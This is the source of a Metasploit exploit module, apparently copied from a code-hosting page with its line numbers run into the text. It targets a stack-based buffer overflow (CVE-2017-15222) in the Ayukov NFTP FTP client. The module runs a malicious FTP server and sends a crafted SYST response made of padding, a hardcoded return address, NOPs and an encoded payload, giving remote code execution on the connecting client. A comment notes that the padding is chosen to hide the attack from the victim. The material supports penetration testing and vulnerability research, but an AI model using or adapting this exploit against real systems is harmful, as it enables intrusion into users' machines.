Path: blob/master/modules/exploits/windows/ftp/ayukov_nftp.rb
57339 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP17Client 2.0 and earlier. By responding with a long string of data for the SYST request, it18is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote19code exeuction under the context of the user if successfully exploited.20},21'Author' => [22'Berk Cem Goksel', # Original exploit author23'Daniel Teixeira', # MSF module author24'sinn3r' # RCA, improved module reliability and user exp25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2017-15222'],29[ 'EDB', '43025' ],30],31'Payload' => {32'BadChars' => "\x00\x01\x0a\x10\x0d",33'StackAdjustment' => -350034},35'Platform' => 'win',36'Targets' => [37[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.551238],39'Privileged' => false,40'DisclosureDate' => '2017-10-21',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),53]54)55end5657def exploit58print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")59super60end6162def on_client_connect(client)63return if ((p = regenerate_payload(client)) == nil)6465print_status("#{client.peerhost} - connected")6667# Let the client log in68client.get_once6970print_status("#{client.peerhost} - sending 331 OK")71user = "331 OK.\r\n"72client.put(user)7374client.get_once75print_status("#{client.peerhost} - sending 230 OK")76pass = "230 OK.\r\n"77client.put(pass)7879# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk80# is visible from the user's command prompt, which would make the buffer overflow attack too81# obvious.82sploit = "\x20" * 41168384sploit << [target.ret].pack('V')85sploit << make_nops(10)86sploit << payload.encoded87sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)88sploit << "\r\n"8990print_status("#{client.peerhost} - sending the malicious response")91client.put(sploit)9293client.get_once94pwd = "257\r\n"95client.put(pwd)96client.get_once97end98end99100101